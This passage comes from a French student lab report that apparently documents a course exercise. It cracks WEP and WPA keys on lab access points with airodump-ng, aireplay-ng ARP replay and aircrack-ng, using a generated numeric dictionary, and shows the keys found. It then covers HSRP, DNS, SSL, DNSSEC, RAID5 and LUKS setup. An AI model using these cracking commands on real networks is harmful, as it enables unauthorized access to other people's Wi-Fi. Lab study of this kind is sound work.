On obtient :&lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
 CH 13 ][ Elapsed: 4 s ][ 2016-03-08 10:32                                         &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 44:AD:D9:5F:87:00  -44        2        0    0  11  54e. WEP  WEP         Wolverine                               &lt;br /&gt;
 04:DA:D2:9C:50:53  -66        2        0    0  13  54e. WEP  WEP         cracotte04                              &lt;br /&gt;
 04:DA:D2:9C:50:55  -70        2       91   35  13  54e. WEP  WEP         cracotte06                              &lt;br /&gt;
 04:DA:D2:9C:50:51  -69        4       33   13  13  54e. WEP  WEP         cracotte02                              &lt;br /&gt;
 04:DA:D2:9C:50:57  -67        3       44   19  13  54e. WEP  WEP         cracotte08                              &lt;br /&gt;
 04:DA:D2:9C:50:56  -69        2       38   11  13  54e. WEP  WEP         cracotte07                              &lt;br /&gt;
 04:DA:D2:9C:50:54  -68        2       37   14  13  54e. WEP  WEP         cracotte05                              &lt;br /&gt;
 04:DA:D2:9C:50:58  -70        2      175   70  13  54e. WEP  WEP         cracotte09                              &lt;br /&gt;
 04:DA:D2:9C:50:50  -68        0      142   52  13  -1   WEP  WEP         &amp;lt;length:  0&amp;gt;                            &lt;br /&gt;
 04:DA:D2:9C:50:52  -70        2      171   64  13  54e. WEP  WEP         cracotte03                              &lt;br /&gt;
                                                                                                                  &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                         &lt;br /&gt;
                                                                                                                   &lt;br /&gt;
 04:DA:D2:9C:50:55  00:0F:B5:92:23:6B  -66    0 - 9e  1160       50                                                &lt;br /&gt;
 04:DA:D2:9C:50:51  00:0F:B5:92:24:51  -62    0 -48e    34        7                                                &lt;br /&gt;
 04:DA:D2:9C:50:57  00:0F:B5:92:22:66  -64    0 - 6e    31        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:56  00:0F:B5:92:23:71  -66    0 -48e    60        6                                                &lt;br /&gt;
 04:DA:D2:9C:50:54  00:0F:B5:92:23:74  -70    0 -24e    52       11                                                &lt;br /&gt;
 04:DA:D2:9C:50:58  00:0F:B5:92:23:69  -62    0 -48e    12      140  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ici nous avons choisi cracotte06 comme wifi cible. On récupère donc son BSSID : 04 :DA :D2 :9C :50 :55 sur le channel 13&amp;lt;br /&amp;gt;&lt;br /&gt;
On surveille uniquement notre cible pour s'assurer qu'une machine s'y connecte bien :&lt;br /&gt;
&amp;lt;pre&amp;gt; airodump-ng –w out –c 13 –bssid 04 :DA :D2 :9C :50 :55 wlan0 &amp;lt;/pre&amp;gt; &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour le craquage, il faut au préalable surchargé de requête ARP le réseau cible pour récupérer un maximum de trame d’échanges.&lt;br /&gt;
&amp;lt;pre&amp;gt; aireplay-ng -3 –e cracotte06 –a 04 :DA :D2 :9C :50 :55 –b 04 :DA :D2 :9C :50 :55 –h 00:0F:B5:92:23:6B –x 1000 –n out-ox.cap wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois un nombre de trame récupéré assez conséquent, on lance l’utilitaire : &amp;lt;pre&amp;gt;aircarck-ng out_ox.cap&amp;lt;/pre&amp;gt; avec out_ox.cap le fichier de sauvegarde contenant toutes les trames ARP récupérées. &lt;br /&gt;
&lt;br /&gt;
On a alors réussi notre craquage au bout de quelque minutes :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                 [00:00:01] Tested 785 keys (got 1349085 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  2   EE(1862400) 75(1396736) DB(1392128) FF(1388544) 50(1387520) &lt;br /&gt;
    1    1/  4   DD(1419264) 1B(1397504) 2C(1392128) 54(1387776) 26(1385728) &lt;br /&gt;
    2   47/  2   DB(1365760) 38(1364736) 00(1364480) 22(1364480) 82(1364480) &lt;br /&gt;
    3    1/  2   26(1407488) 2C(1390592) 65(1387520) F0(1387520) FE(1387520) &lt;br /&gt;
    4    4/  4   F6(1383168) CD(1382656) 7E(1381376) F0(1380096) 58(1379840) &lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:EE:EE:44:44:44 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 6e séance (additionnel) ====&lt;br /&gt;
=====Configuration HSRP=====&lt;br /&gt;
Le VRRP n'était pas compatible sur le routeur du groupe 6 (3560E) à cause de la trop faible version de 'IOS Cisco. Du coup, il nous a été demandé de mettre en place le protocole en dessous de VRRP, HSRP.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le protocole HSRP fonctionne comme le VRRP, et s'implémente, par BDI, comme suit:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Sstandby 1 ip 10.60.X.3&lt;br /&gt;
standby 1 preempt&lt;br /&gt;
standby 1 priority 100&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il fallait aussi que notre routeur soit connecté au 2e commutateur via une liaison fibre en mode trunk. Ainsi, nous pouvons voir, dans ce qui suit, que le routeur maitre est le routeur 3560E, et que nous sommes en standby !&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;BDI2 - Group 1 (version 2)&lt;br /&gt;
  State is Standby&lt;br /&gt;
    7 state changes, last state change 00:01:16&lt;br /&gt;
  Virtual IP address is 10.60.2.3&lt;br /&gt;
  Active virtual MAC address is 0000.0c9f.f001 (MAC Not In Use)&lt;br /&gt;
    Local virtual MAC address is 0000.0c9f.f001 (v2 default)&lt;br /&gt;
  Hello time 3 sec, hold time 10 sec&lt;br /&gt;
    Next hello sent in 0.128 secs&lt;br /&gt;
  Preemption enabled&lt;br /&gt;
  Active router is 10.60.2.2, priority 110 (expires in 8.784 sec)&lt;br /&gt;
    MAC address is d4d7.4842.53c1&lt;br /&gt;
  Standby router is local&lt;br /&gt;
  Priority 100 (default 100)&lt;br /&gt;
  Group name is &amp;quot;Vlan2&amp;quot; (cfgd)&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Craquage clé WPA =====&lt;br /&gt;
&lt;br /&gt;
Pour ce craquage, nous avons gardé la même cible, c'est à dire cracotte06. Il faut encore ici s'assurer qu'une machine est connecté à cette borne.&lt;br /&gt;
Pour le craquage WPA, il nous faut 2 éléments : &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un fichier d'échange contenant le handshake &amp;lt;br /&amp;gt;&lt;br /&gt;
- Un dictionnaire contenant toutes les possibilités de valeur que peut avoir la clé.  &lt;br /&gt;
&lt;br /&gt;
Ici nous avons simplement récupéré le handshake grâce à la commande d'écoute de la borne :&lt;br /&gt;
&amp;lt;pre&amp;gt;  airodump-ng -w out --encrypt wpa -c 13 --04 :DA :D2 :9C :50 :55  wlan0 &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Grâce à l'option -w out, il nous a créée un fichier stockant le hanshake. &lt;br /&gt;
&lt;br /&gt;
En parallèle nous avons généré le fichier txt jouant le rôle de dictionnaire, à l'aide d'un programme C. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
int main(){&lt;br /&gt;
	FILE *fp=fopen(&amp;quot;dico.txt&amp;quot;,&amp;quot;w+&amp;quot;);&lt;br /&gt;
	int i =0;&lt;br /&gt;
	for(i=0;i&amp;lt;=99999999;i++){&lt;br /&gt;
		fprintf(fp,&amp;quot;%08d\n&amp;quot;,i);&lt;br /&gt;
	}&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finalement on utilise l'utilitaire aircrack avec en paramètre le fichier de sauvegarde contenant le handshake ainsi que le fichier texte dictionnaire :&lt;br /&gt;
&amp;lt;pre&amp;gt;  aircrack-ng -w dico.txt dump-02.cap &amp;lt;/pre&amp;gt;&lt;br /&gt;
On obtient avec succès au bout de quelque minutes : &lt;br /&gt;
&amp;lt;pre&amp;gt; &lt;br /&gt;
Aircrack-ng 1.2 beta3&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                   [01:01:47] 12399904 keys tested (3519.77 k/s)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 12399907 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : F5 4A 19 53 7C DB 88 D1 D0 21 3B FD FF 5F EF CD &lt;br /&gt;
                       D0 DE 05 F5 0F DB 08 79 85 16 17 8B E0 E4 6B 23 &lt;br /&gt;
&lt;br /&gt;
      Transient Key  : 25 94 12 1B 71 2C 49 01 10 44 34 8A 8A 74 36 47 &lt;br /&gt;
                       7B 1C D8 3D 77 A5 9B 9D 74 44 DC C7 5F 55 D7 0B &lt;br /&gt;
                       2B 29 83 CC FC 08 7E DF BF A6 B7 76 AF BA D5 8A &lt;br /&gt;
                       07 F0 61 B1 02 3A 56 B2 A2 03 CD 80 20 14 3E D8 &lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : CF 04 96 3D DC 43 B4 D1 0E D5 0F B5 78 2F 57 C9 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration DNS=====&lt;br /&gt;
Dans un premier temps, nous réservons sur Gandi notre nom de domaine : speedflash.space&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous installons les paquets bind9, ainsi que apache2.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous configurons les fichiers nécessaires à la bonne marche du serveur DNS à savoir les fichiers named.conf.local (autorisation de transfert de paquets vers le DNS esclave - Utilisation du bon fichier de zone), puis db.speedflash.space (fichier de zone)&amp;lt;br /&amp;gt;&lt;br /&gt;
Voici la configuration de ces 2 fichiers :&amp;lt;br /&amp;gt;&lt;br /&gt;
named.conf.local :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;zone &amp;quot;speedflash.space&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.speedflash.space&amp;quot;;&lt;br /&gt;
        allow-transfer {217.70.177.40;};&lt;br /&gt;
};&amp;lt;/pre&amp;gt;&lt;br /&gt;
217.70.177.40 est l'adresse IP du serveur DNS de Gandi (ns6.gandi.net) que nous avons pris pour serveur esclave.&amp;lt;br /&amp;gt;&lt;br /&gt;
db.speedflash.space:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;;&lt;br /&gt;
; BIND data file for local loopback interface&lt;br /&gt;
;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.speedflash.space. root.speedflash.space (&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
        IN      NS      ns.speedflash.space.&lt;br /&gt;
ns      IN      A       193.48.57.165&lt;br /&gt;
www     IN      A       193.48.57.165&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous déclarons que notre DNS (ns) est à l'adresse 193.48.57.165, soit l'IP de notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, pour faire fonctionner le tout, on relance bind : &amp;lt;pre&amp;gt; service bind9 restart &amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Et à l'aide du fichier de log daemon.log, on peut confirmer que bind s'est lancé sans erreur :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;tail /var/log/daemon.log | grep named&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: command channel listening on ::1#953&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: journal file is out of date: removing journal file&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: managed-keys-zone: loaded serial 3&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 0.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone speedflash.space/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 127.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone 255.in-addr.arpa/IN: loaded serial 1&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: zone localhost/IN: loaded serial 2&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: all zones loaded&lt;br /&gt;
Nov 17 11:52:37 Flash named[1798]: running&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Securisation de site par SSL=====&lt;br /&gt;
Afin d'obtenir un certificat SSL par Gandi, nous avons besoin d'un CSR. Nous générons donc le CSR par la commande :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;openssl req -nodes -newkey rsa:2048 -sha1 -keyout serveur.key -out serveur.csr&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous fournissons ce CSR à Gandi, puis nous attendons d'avoir notre certificat. Une fois le certificat obtenu, on peut copier les bons fichiers dans SSL :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# cp certificat.crt /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
root@Flash:/etc/bind# cp serveur.key /etc/ssl/private/speedflash.space.key&lt;br /&gt;
root@Flash:/etc/bind# cp GandiStandardSSLCA.pem /etc/ssl/certs/GandiStandardSSLCA.pem&amp;lt;/pre&amp;gt;&lt;br /&gt;
GandiStandardSSLCA.pem est un certificat intermédiaire afin de certifier notre certificat.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous re-hashons toute la structure afin de prendre en compte notre certificat :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Flash:/etc/bind# c_rehash /etc/ssl/certs&lt;br /&gt;
Doing /etc/ssl/certs&lt;br /&gt;
speedflash.space.crt =&amp;gt; ac112f31.0&lt;br /&gt;
speedflash.space.crt =&amp;gt; a88e5e47.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 0cad7ee9.0&lt;br /&gt;
GandiStandardSSLCA.pem =&amp;gt; 3a57595e.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; 816e77e4.0&lt;br /&gt;
ssl-cert-snakeoil.pem =&amp;gt; de4674a3.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''000-speedflash.space-ssl.conf''' afin d'associer APACHE et notre nom de serveur : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;#NameVirtualHost *:443&lt;br /&gt;
        &amp;lt;VirtualHost 193.48.57.165:443&amp;gt;&lt;br /&gt;
                ServerName www.speedflash.space&lt;br /&gt;
                ServerAlias speedflash.space&lt;br /&gt;
                DocumentRoot /var/www/www.speedflash.space/&lt;br /&gt;
                CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
&lt;br /&gt;
                SSLEngine on&lt;br /&gt;
                SSLCertificateFile /etc/ssl/certs/speedflash.space.crt&lt;br /&gt;
                SSLCertificateKeyFile /etc/ssl/private/speedflash.space.key&lt;br /&gt;
                SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA.pem&lt;br /&gt;
                SSLVerifyClient None&lt;br /&gt;
        &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /var/www/www.speedflash.space&amp;gt;&lt;br /&gt;
                Require all granted&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
ServerName &amp;quot;speedflash.space&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut modifier le fichier '''ports.conf''' du serveur Apache pour qu'il écoute le port 443 (SSL):&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;Listen 80 443&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
        Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
#       Listen 443&lt;br /&gt;
        #NameVirtualHost *:443&lt;br /&gt;
#&amp;lt;/IfModule&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Il faut activer le module SSL de Apache : &amp;lt;pre&amp;gt; a2enmod ssl&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc activer notre Apache avec notre certificat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# a2ensite 000-speedflash.space-ssl.conf &lt;br /&gt;
Enabling site 000-speedflash.space-ssl.&lt;br /&gt;
root@Flash:/etc/bind# service apache2 reload&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons vérifier que le site est sécurisé en allant sur https://www.speedflash.space et en voyant le cadenas vert.&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:SSLSite.png]]&lt;br /&gt;
&lt;br /&gt;
=====Securisation de DNS par DNSSEC=====&lt;br /&gt;
Il faut générer les clés .key et .private afin de pouvoir signer les zones et les enregistrements.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE speedflash.space &amp;lt;/pre&amp;gt;&lt;br /&gt;
l'option -r /dev/urandom est ici pour accélérer la génération des clés &amp;lt;br /&amp;gt;&lt;br /&gt;
Nous incluons les clés dans le fichier de zone db.speedflash.space : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;$include /etc/bind/speedflash.space.dnssec/speedflash.space-ksk.key&lt;br /&gt;
$include /etc/bind/speedflash.space.dnssec/speedflash.space-zsk.key&amp;lt;/pre&amp;gt;&lt;br /&gt;
On signe donc la zone : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind/speedflash.space.dnssec# dnssec-signzone -o speedflash.space -k speedflash.space-ksk ../db.speedflash.space speedflash.space-zsk&lt;br /&gt;
Verifying the zone using the following algorithms: RSASHA1.&lt;br /&gt;
Zone fully signed:&lt;br /&gt;
Algorithm: RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                    ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
../db.speedflash.space.signed&amp;lt;/pre&amp;gt;&lt;br /&gt;
On ajoute le DNSSEC à Gandi : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Dns-gandi.png]]&amp;lt;br /&amp;gt;&lt;br /&gt;
On vérifie que notre DNS est bien sécurisé en essayant la commande : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:/etc/bind# dig DNSKEY speedflash.space @localhost&lt;br /&gt;
&lt;br /&gt;
; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.9.5-9+deb8u8-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; DNSKEY speedflash.space @localhost&lt;br /&gt;
;; global options: +cmd&lt;br /&gt;
;; Got answer:&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;;; flags: qr aa rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
;; OPT PSEUDOSECTION:&lt;br /&gt;
; EDNS: version: 0, flags:; udp: 4096&lt;br /&gt;
;; QUESTION SECTION:&lt;br /&gt;
;speedflash.space.        IN    DNSKEY&lt;br /&gt;
&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    257 3 5 AwEAAaJcjim9pdD8U6InsiCNFzJthDwsiwGgPylxRp5nDuoaGrcDp1LU psBv0iY0VUqzcC+uRhTTfjl6P3yuPsnZYefVlSEeRpn9QR33Hioadbhc aFSuYnfwS/L/R6Kwt2XFz5V/fI/j+M2AtGxhBFgVKtmjvnwEr2VfdkFl d9AZJQu09ajWCJIKeL2dRE5bPbXwkDilgkQkBZUVWtXN7qwnrFnlszpb gSdRKosfhScAUmTerxOV6WybzOYb+9D0r8QrDoIhhCpf1/gczAUzHPWd hb0rxIGHk6seMp1qTotZE3SgxrCwm7H6z4pcXeMfbdNzkrIgcJmum9i0 zsLzlghkAPM=&lt;br /&gt;
speedflash.space.    604800    IN    DNSKEY    256 3 5 AwEAAcHrx5vtsGzY7LF32x3HRIXRwOBm3WZM02NHY4s0uB2djn6tV52B ss78iXC4O5hdpJ0uOxS0/MNCYNJkIXnWsvAHc6lbdWfQ8Jvnj/aBMz94 agXbxXkseqjlIcF1huspBAi9lcY5hsy59MDek5iNlduy8HK6AVItqeQi HviShcq3&amp;lt;/pre&amp;gt;&lt;br /&gt;
On remarque bien la présence de DNSKEY qui nous assure que notre DNS est sécurisé.&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 7e séance====&lt;br /&gt;
=====Création du RAID5=====&lt;br /&gt;
On ajoute premièrement les partitions à la définition de la machine virtuelle:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;'phy:/dev/virtual/RedFlash,xvdb,w',&lt;br /&gt;
'phy:/dev/virtual/BlackFlash,xvdc,w',&lt;br /&gt;
'phy:/dev/virtual/ReverseFlash,xvdd,w'&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on crée le RAID5 avec les 3 partitions :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;mdadm --create /dev/md0 --level=5 --raid-devices 3 /dev/xvdb /dev/xvdc /dev/xvdd&amp;lt;/pre&amp;gt;&lt;br /&gt;
On vérifie en regardant le fichier de log /proc/mdstat : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=============&amp;gt;.......]  recovery = 66.0% (692512/1047552) finish=0.1min speed=30109K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===============&amp;gt;.....]  recovery = 78.5% (823084/1047552) finish=0.1min speed=29395K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [================&amp;gt;....]  recovery = 84.2% (883700/1047552) finish=0.0min speed=29456K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [=================&amp;gt;...]  recovery = 87.4% (916664/1047552) finish=0.0min speed=29569K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [==================&amp;gt;..]  recovery = 93.5% (980148/1047552) finish=0.0min speed=30182K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 96.6% (1012980/1047552) finish=0.0min speed=30267K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 98.1% (1029332/1047552) finish=0.0min speed=30794K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/2] [UU_]&lt;br /&gt;
      [===================&amp;gt;.]  recovery = 99.5% (1043028/1047552) finish=0.0min speed=30260K/sec&lt;br /&gt;
&lt;br /&gt;
unused devices: &amp;lt;none&amp;gt;&lt;br /&gt;
root@Flash:~# [ 1462.872022] md: md0: recovery done.&lt;br /&gt;
cat /proc/mdstat&lt;br /&gt;
Personalities : [raid6] [raid5] [raid4]&lt;br /&gt;
md0 : active raid5 xvdd[3] xvdc[1] xvdb[0]&lt;br /&gt;
      2095104 blocks super 1.2 level 5, 512k chunk, algorithm 2 [3/3] [UUU]&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, on affecte un système de fichier à notre nouveau RAID sur /dev/md0, et on le monte dans /mnt: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# mkfs /dev/md0&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
Filesystem UUID: ca2b4bcd-57d3-4f12-bc49-0f7f9cb312b6&lt;br /&gt;
Superblock backups stored on blocks:&lt;br /&gt;
	32768, 98304, 163840, 229376, 294912&lt;br /&gt;
&lt;br /&gt;
Allocating group tables: done&lt;br /&gt;
Writing inode tables: done&lt;br /&gt;
Writing superblocks and filesystem accounting information: done&lt;br /&gt;
&lt;br /&gt;
root@Flash:~# mount /dev/md0 /mnt&lt;br /&gt;
[ 1486.818679] EXT4-fs (md0): mounting ext2 file system using the ext4 subsystem&lt;br /&gt;
[ 1486.878898] EXT4-fs (md0): mounted filesystem without journal. Opts: (null)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Cryptage de données=====&lt;br /&gt;
Pour crypter les données, on installe GParted et cryptsetup. Sur la SD, il ne doit y avoir qu'une seule partition. C'est ce qu'on fait grâce à GParted.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, on commence le cryptage des données sur la carte SD: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksFormat -c aes-xts-plain -s 512 /dev/mmcblk1p1 &lt;br /&gt;
&lt;br /&gt;
WARNING!&lt;br /&gt;
========&lt;br /&gt;
Cette action écrasera définitivement les données sur /dev/mmcblk1p1.&lt;br /&gt;
&lt;br /&gt;
Are you sure? (Type uppercase yes): YES&lt;br /&gt;
Saisissez la phrase secrète : ***************&lt;br /&gt;
Vérifiez la phrase secrète : ***************&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ouvre le volume crypté et on crée un système de fichiers avec le dossier home/ :&amp;lt;br /&amp;gt;&lt;br /&gt;
